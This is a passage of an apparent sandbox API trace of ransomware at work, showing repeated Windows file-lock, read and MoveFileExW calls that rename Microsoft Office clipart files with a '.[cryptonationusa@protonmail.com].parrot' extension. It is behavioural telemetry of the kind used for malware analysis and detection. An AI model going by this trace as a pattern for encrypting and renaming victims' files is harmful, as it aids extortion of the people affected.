nNumberOfBytesToLockHigh=0x0) returned 1 [0141.105] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0141.105] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0141.107] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.107] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1066, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1066, lpOverlapped=0x0) returned 1 [0141.108] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0141.108] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.108] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0141.108] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0141.108] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x117e, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0141.108] CloseHandle (hObject=0x27c) returned 1 [0141.108] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x3173c10 [0141.108] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd0) returned 0x6a7268 [0141.108] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0230558.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0230558.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0230558.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0230558.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0141.111] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x3442, nNumberOfBytesToLockHigh=0x0) returned 1 [0141.111] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0141.111] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0141.113] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.113] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x332a, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x332a, lpOverlapped=0x0) returned 1 [0141.114] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0141.114] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.114] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0141.114] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0141.115] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x3442, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0141.115] CloseHandle (hObject=0x27c) returned 1 [0141.115] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x3173c10 [0141.115] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd0) returned 0x6a7268 [0141.115] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232171.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0232171.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232171.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0232171.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0141.118] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x6cda, nNumberOfBytesToLockHigh=0x0) returned 1 [0141.118] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0141.118] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0141.119] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.120] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x6bc2, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x6bc2, lpOverlapped=0x0) returned 1 [0141.120] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0141.121] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.121] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0141.121] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0141.122] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x6cda, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0141.122] CloseHandle (hObject=0x27c) returned 1 [0141.122] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x3173c10 [0141.122] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd0) returned 0x6a7268 [0141.122] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232393.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0232393.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232393.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0232393.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0141.126] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xa19e, nNumberOfBytesToLockHigh=0x0) returned 1 [0141.126] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0141.127] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0141.135] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.136] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xa086, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xa086, lpOverlapped=0x0) returned 1 [0141.136] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0141.138] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.138] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0141.138] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0141.139] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xa19e, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0141.139] CloseHandle (hObject=0x27c) returned 1 [0141.139] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x3173c10 [0141.139] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd0) returned 0x6a7268 [0141.139] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232395.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0232395.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232395.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0232395.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0141.142] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x3922, nNumberOfBytesToLockHigh=0x0) returned 1 [0141.143] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0141.143] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0141.144] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.144] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x380a, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x380a, lpOverlapped=0x0) returned 1 [0141.145] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0141.145] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.145] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0141.145] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0141.147] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x3922, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0141.147] CloseHandle (hObject=0x27c) returned 1 [0141.147] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x3173c10 [0141.147] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd0) returned 0x6a7268 [0141.147] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232795.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0232795.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232795.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0232795.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0141.153] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x8ab4, nNumberOfBytesToLockHigh=0x0) returned 1 [0141.153] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0141.153] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0141.154] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.154] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x899c, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x899c, lpOverlapped=0x0) returned 1 [0141.155] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0141.157] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.157] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0141.157] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0141.158] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x8ab4, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0141.158] CloseHandle (hObject=0x27c) returned 1 [0141.158] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x3173c10 [0141.158] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd0) returned 0x6a7268 [0141.158] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232797.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0232797.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232797.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0232797.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0141.162] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x4efe, nNumberOfBytesToLockHigh=0x0) returned 1 [0141.162] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0141.162] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0141.164] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.164] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x4de6, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x4de6, lpOverlapped=0x0) returned 1 [0141.165] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0141.166] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.167] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0141.167] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0141.167] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x4efe, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0141.167] CloseHandle (hObject=0x27c) returned 1 [0141.167] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x3173c10 [0141.167] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd0) returned 0x6a7268 [0141.168] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232803.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0232803.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232803.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0232803.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0141.171] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2800, nNumberOfBytesToLockHigh=0x0) returned 1 [0141.171] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0141.171] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0141.213] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.214] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x26e8, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x26e8, lpOverlapped=0x0) returned 1 [0141.215] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0141.215] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.215] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0141.215] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0141.216] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x2800, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0141.216] CloseHandle (hObject=0x27c) returned 1 [0141.216] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x3173c10 [0141.216] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd0) returned 0x6a7268 [0141.216] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0233512.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0233512.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0233512.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0233512.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0141.220] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x3244, nNumberOfBytesToLockHigh=0x0) returned 1 [0141.220] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0141.221] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0141.222] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.222] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x312c, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x312c, lpOverlapped=0x0) returned 1 [0141.223] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0141.223] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.223] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0141.223] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0141.223] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x3244, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0141.223] CloseHandle (hObject=0x27c) returned 1 [0141.224] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x3173c10 [0141.224] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd0) returned 0x6a7268 [0141.224] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0233665.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0233665.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0233665.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0233665.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0141.227] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x9876, nNumberOfBytesToLockHigh=0x0) returned 1 [0141.227] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0141.228] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0141.229] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.229] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x975e, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x975e, lpOverlapped=0x0) returned 1 [0141.230] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0141.231] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.231] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0141.231] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0141.231] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x9876, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0141.231] CloseHandle (hObject=0x27c) returned 1 [0141.231] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x3173c10 [0141.231] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd0) returned 0x6a7268 [0141.232] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0233992.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0233992.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0233992.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0233992.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0141.235] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xcfde, nNumberOfBytesToLockHigh=0x0) returned 1 [0141.235] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0141.235] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0141.237] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.237] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xcec6, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xcec6, lpOverlapped=0x0) returned 1 [0141.237] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0141.240] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.240] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0141.240] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0141.241] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xcfde, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0141.241] CloseHandle (hObject=0x27c) returned 1 [0141.241] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x3173c10 [0141.241] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd0) returned 0x6a7268 [0141.242] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0234000.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0234000.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0234000.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0234000.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0141.245] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x4c58, nNumberOfBytesToLockHigh=0x0) returned 1 [0141.245] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0141.245] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, 